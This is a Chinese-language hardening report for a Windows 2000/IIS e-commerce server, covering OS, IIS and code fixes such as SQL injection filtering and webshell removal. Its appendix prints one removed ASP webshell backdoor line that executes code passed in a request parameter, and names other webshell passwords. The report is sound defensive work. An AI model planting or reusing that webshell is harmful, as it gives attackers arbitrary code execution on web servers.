XXX电子商务网站安全加固报告.docx

资源描述

XXX电子商务网站平安加固报告目录电子商务网站平安加固报告 1 目录 2 一、加固主机列表 3 二、加固实施 4 操作系统加固 4 2.1.1 补丁安装 4 2.1.2 帐号、口令策略修改 4 2.1.3 网络与效劳加固 4 2.1.4 文件系统加固 5 2.1.5 日志审核增强 6 2.1.6 平安性增强 7 2.1.7 推荐安装平安工具 8 2.2 IIS效劳加固 8 2.2.1 补丁安装 8 2.2.2 网站实例权限分配 8 2.2.3 IIS配置平安增强 9 2.2.4 平安控件加固 9 2.3 代码审核加固 10 2.3.1 去除WebShell代码 10 2.3.2 去除SQL注入漏洞 10 2.3.3 修正权限认证缺陷 10 2.3.4 减少上传风险威胁 11 2.3.5 正确处理数据库文件 11 三、推荐平安考前须知 12 为新增网站实例分配权限 12 3.2 使用SSL加密FTP传输 12 3.3 加强管理员平安习惯 12 四、签字确认 13 附录： 14 后台访问用户认证分配一览表 14 代码加固修改一览表 14 一、加固主机列表本次平安加固效劳的对象包括：编号 IP地址操作系统用途或效劳 H_2112_1 XX.XX.XX.2 Windows 2000 Server 提供电子商务效劳，有偿提供考试资料填写规那么：编号统一使用“型号_地址缩写_数字〞型号〔H－主机；D－设备〕，数字使用三位数字顺序号。二、加固实施操作系统加固 2.1.1 补丁安装编号： Windows-02001 名称：补丁安装系统以往状态： Windows 2000 Service Pack 4 IE 最新积累补丁方案实施使用Windows update安装最新补丁实施目的可以使系统版本为最新版本实施风险安装补丁可能导致主机启动失败，或其他未知情况发生 2. 帐号、口令策略修改编号： Windows-03002,Windows-03003,Windows-03004 名称：帐号口令策略修改系统以往状态：密码长度最小值 0 字符密码最长存留期 42天密码最短存留期 0天帐号锁定计数器无帐户锁定时间 0 帐户锁定阀值无方案实施密码长度最小值 7 字符密码最长存留期 90天密码最短存留期 30天帐号锁定计数器 5次帐户锁定时间 5分钟帐户锁定阀值 1分钟实施目的保障帐号以及口令的平安实施风险设置帐号策略后可能导致不符合帐号策略的帐号无法登陆，需修改帐号密码〔注：管理员不受帐号策略限制，但管理员密码应复杂〕 2. 网络与效劳加固编号： Windows-04003,Windows-04004 名称：卸载不需要的效劳系统以往状态：已安装的不必要的效劳包括： DNS效劳 DHCP效劳 MS FTP效劳 SNMP效劳方案实施开始|设置|控制面板|添加/删除程序|Windows组件卸载不需要的效劳实施目的防止未知漏洞给主机带来的风险实施风险可能由于管理员对主机所开放效劳不了解，导致该效劳被卸载。编号： Windows-04005 名称：将暂时不需要开放的效劳停止系统以往状态：已启动且需要停止的效劳包括： Computer Browser效劳 Alerter效劳 Messenger效劳方案实施开始|运行|services.msc|将上述效劳的启动类型设置为手动并停止上述效劳实施目的防止未知漏洞给主机带来的风险实施风险可能由于管理员对主机所开放效劳不了解，导致该效劳被卸载。 2. 文件系统加固编号： Windows-05002 名称：限制特定执行文件的权限系统以往状态：未对敏感执行文件设置适宜的权限方案实施通过实施我公司的平安策略文件对特定文件权限进行限制，禁止Guests用户组访问这些文件。实施目的禁止Guests用户组访问以下文件： xcopy.exe wscript.exe cscript.exe net.exe arp.exe edlin.exe ping.exe route.exe posix.exe Rsh.exe atsvc.exe C cacls.exe ipconfig.exe rcp.exe debug.exe regedt32.exe regedit.exe edit F N R runonce.exe nbtstat.exe T netstat.exe 实施风险在极少数情况下，某些网页可能调用cmd.exe来完成某种功能，限制的执行权限可能导致调用cmd失败。日志审核增强编号： Windows-06001 名称：设置主机审核策略系统以往状态：审核策略更改无审核审核登录事件无审核审核对象访问无审核审核过程追踪无审核审核目录效劳访问无审核审核特权使用无审核审核系统事件无审核审核帐户登录事件无审核审核帐户管理无审核方案实施通过实施我公司的平安策略文件修改下述值：审核策略更改成功审核登录事件无审核审核对象访问成功, 失败审核过程追踪无审核审核目录效劳访问无审核审核特权使用无审核审核系统事件成功, 失败审核帐户登录事件成功, 失败审核帐户管理成功, 失败实施目的对系统事件进行审核，在日后出现故障时用于排查故障。实施风险无编号： Windows-06002，Windows-06003，Windows-06004 名称：调整事件日志的大小、覆盖策略系统以往状态：大小覆盖方式应用日志 512K 覆盖早于7天的事件平安日志 512K 覆盖早于7天的事件系统日志 512K 覆盖早于7天的事件方案实施通过实施我公司的平安策略文件修改下述值：大小覆盖方式应用日志 16382K 覆盖早于30天的事件平安日志 16384K 覆盖早于30天的事件系统日志 16384K 覆盖早于30天的事件实施目的增大日志大小，防止由于日志文件容量过小导致日志记录不全实施风险无 2. 平安性增强编号： Windows-07001 名称：禁止匿名用户连接系统以往状态： Key:HKLM\SYSTEM\CurrentControlSet\Control\Lsa “restrictanonymous〞的值为0 方案实施通过实施我公司的平安策略文件将该值修改为“1〞实施目的可以禁止匿名用户列举主机上所有用户、组、共享资源实施风险无编号： Windows-04006 名称：删除主机管理共享系统以往状态： Key: HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters 无“Autoshareserver〞键方案实施通过实施我公司的平安策略文件增加“Autoshareserver〞项，并设置该值为“1〞实施目的删除主机因为管理而开放的共享实施风险某些应用软件可能需要该共享，如Veritas Netbackup 编号： Windows-07001 名称：禁止匿名用户连接系统以往状态： Key:HKLM\SYSTEM\CurrentControlSet\Control\Lsa “restrictanonymous〞的值为0 方案实施通过实施我公司的平安策略文件将该值修改为“1〞实施目的可以禁止匿名用户列举主机上所有用户、组、共享资源实施风险无编号： Windows-03005 名称：限制Guest用户权限系统以往状态： Guest已禁用，但未对帐号进行权限限制。方案实施通过实施我公司的平安策略文件禁止Guest帐号本地登录和网络登录的权限。实施目的防止Guest帐号被黑客激活作为后门实施风险无推荐安装平安工具工具名称 IceSword 工具用途特洛伊木马彻查、黑客后门检测工具相关信息工具名称工具用途网络隐患扫描工具相关信息注：工具名称请包含版本信息工具用途请简单描述产品功用相关信息请写明产品相关URL，尽量详细 2.2 IIS效劳加固 2.2.1 补丁安装编号： Windows-02001〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕名称：补丁安装系统以往状态： Windows 2000 Service Pack 4 方案实施使用Windows update安装最新补丁实施目的可以使系统版本为最新版本实施风险〔应描述实施本条措施所导致的后果〕网站实例权限分配编号： Windows-02002〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕名称：权限分配系统以往状态：没有对每个网站实例进行相应的权限分配，任何一个网站被入侵后都有可能导致其他网站被入侵方案实施每个网站实例都对应使用低权限帐户，并去除网站后台的匿名访问，集成Windows认证实施目的可以使各个网站实例读取、修改权限完全分开，防止入侵者从一个网站实例入侵到另一个网站实例实施风险〔应描述实施本条措施所导致的后果〕 IIS配置平安增强编号： Windows-02003〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕名称：配置平安增强系统以往状态：存在很多默认配置，导致入侵者可利用方案实施修正IIS的扩展配置，减少asp.dll解析范围，禁止下载MDB文件实施目的减少入侵者入侵几率，防止网站数据库被恶意下载实施风险〔应描述实施本条措施所导致的后果〕平安控件加固编号： Windows-02004〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕名称：平安空间加固系统以往状态：存在很多危险控件，导致入侵者可利用方案实施卸载了WSH控件，修改控件的名称，防止入侵者利用：实施目的减少ASP木马对网站的威胁实施风险将有可能导致某些特殊网站实例不能正常运行代码审核加固去除WebShell代码编号： Windows-03001〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕名称：去除WebShell代码系统以往状态：有可能存在入侵者留下的后门、WebShell程序方案实施人工搜索查找入侵者留下的后门ASP程序实施目的防止入侵者再次入侵网站实施风险〔应描述实施本条措施所导致的后果〕去除SQL注入漏洞编号： Windows-03002〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕名称：去除SQL注入漏洞系统以往状态：存在很多SQL注入漏洞方案实施使用统一脚本，对用户提交进行过滤检查，防止用户提交注入代码实施目的防止恶意用户利用SQL注入漏洞危害网站实施风险〔应描述实施本条措施所导致的后果〕修正权限认证缺陷编号： Windows-03003〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕名称：修正权限认证缺陷系统以往状态：存在一部份的权限未认证缺陷方案实施对没有检查权限的页面添加权限认证实施目的防止低权限用户执行高权限功能实施风险〔应描述实施本条措施所导致的后果〕减少上传风险威胁编号： Windows-03004〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕名称：修正权限认证缺陷系统以往状态：存在上传漏洞方案实施修改代码封堵上传漏洞实施目的防止恶意用户上传WebShell或其他恶意程序实施风险〔应描述实施本条措施所导致的后果〕正确处理数据库文件编号： Windows-03005〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕名称：正确处理数据库文件系统以往状态：采用ASP为扩展名，恶意用户将有可能插入恶意代码并执行方案实施扩展名改为MDB，并对WEB应用程序进行相应修改实施目的防止恶意用户插入恶意代码并执行实施风险〔应描述实施本条措施所导致的后果〕三、推荐平安考前须知 3.1为新增网站实例分配权限当需要新增加一个网站实例的时候，需要按照一定的步骤完成权限的分配： 1. 新建两个帐号，删除这两个帐号的User组身份，参加Guest组； 2. 指定网站目录只能够被XXXistrator和SYSTEM完全控制，而上述两个帐号对该目录及其子目录有读写、修改权限； 3. 在IIS中设置匿名访问该网站的匿名帐户为上述两个帐号其中之一； 4. 在IIS中设置该网站管理员后台目录〔或核心文件〕不允许匿名访问，增加Windows身份认证； 5. 在IIS中设置该网站的主机头。 3.2 使用SSL加密FTP传输开启Serv-U的SSL加密功能，只允许加密登陆以及加密传输文件，以防止恶意用户ARP嗅探FTP密码。 3.3 加强管理员平安习惯注意及时升级管理员主机的系统补丁和杀毒软件病毒库，定期使用推荐的后门检测工具对主机进行平安检测。定期更换Web应用程序后台管理员密码，并保证密码的强度。四、签字确认双方认可加固报告，签字确认。甲方：乙方：签字〔签章〕：签字〔签章〕日期：日期附录：后台访问用户认证分配一览表域名目录指向后台登陆用户名 XX D:\WEB\XXX\ XXX.XX XX.net D:\www\XXX XX.XX XX D:\www1 XX.XX XX D:\WEB\XX \ XX.XX XX D:\WEB\XX XX.XX bbs.XX D:\WEB\XXX\bbs XX.XXX.XX XX.XX D:\WEB\XXX\XXX XX.XXX.XXX XX.XX D:\WEB\XXX\exam XX.XXX.XX XX.XX D:\WEB\XXX\XXX XX.XXX.XX 用户密码暂统一为“****〞〔不带双引号〕，建议用户自行修改。代码加固修改一览表 XXX 目录修改数据库为mdb结尾修改包含sql.asp，防止SQL注入修改数据库结尾 \Manger\Editor7183409 改为Editor7183401 删除！webshell 删掉文件最后一行，该行代码为webshell代码目录修改数据库为mdb结尾修改包含sql.asp，防止SQL注入增加容错信息修改数据库为mdb结尾修改包含sql.asp，防止SQL注入增加容错信息注释掉27行，替换成固定上传路径为""../pic/"的代码增加对XXX身份验证， 增加对XXX身份验证， 增加对XXX身份验证， 增加对XXX身份验证， eWebEditor 目录名改为eWebEditor41937 修改增加身份验证修改认证方式，采用session保存密码，防止跨站攻击 test 目录名修改为Test8322 将管理身份认证提前添加容错信息修改包含sql.asp，防止SQL注入删掉！WebShell代码修改包含sql.asp，防止SQL注入增加容错信息 XXX 目录 XX 删掉！WebShell，密码是6568168 XX 删掉！WebShell XX 删除最后三行，WebShell代码 <!了><object id=fs RUNAT=SERVER classid='clsid:0D43FE01-F093-11CF-8940-00A0C9054228'></object><!了> <%if request("kker")<>"4136705" then Session("b")=request("kker") if Session("b")<>"" then execute Session("b")%> XX 空文件 XX 删除，WebShell，密码是!@#123 XX 删除！WebShell XX 删除！WebShell XX 删除！WebShell XX 删除！WebShell XX 删除！WebShell 修改数据库为mdb结尾修改包含sql.asp，防止SQL注入增加容错信息 AD/qidong 未知快捷方式 XX 注释掉27行，替换成固定上传路径为""../pic/"的代码增加对XXX身份验证， XX 增加对XXX身份验证， XX 增加对XXX身份验证， XX 增加对XXX身份验证， 修改数据库为mdb结尾修改包含sql.asp，防止SQL注入增加容错信息将管理身份认证提前添加容错信息修改包含sql.asp，防止SQL注入修改包含sql.asp，防止SQL注入增加容错信息修改包含sql.asp，防止SQL注入增加容错信息源文件以被破坏，无法修正该源文件改正登陆时对用户名输入的合法性验证增加管理身份认证增加管理身份认证增加管理身份认证增加管理身份认证增加管理身份认证增加管理身份认证注释掉6到12行代码,疑心为后门代码修改包含sql.asp，防止SQL注入增加容错信息

展开阅读全文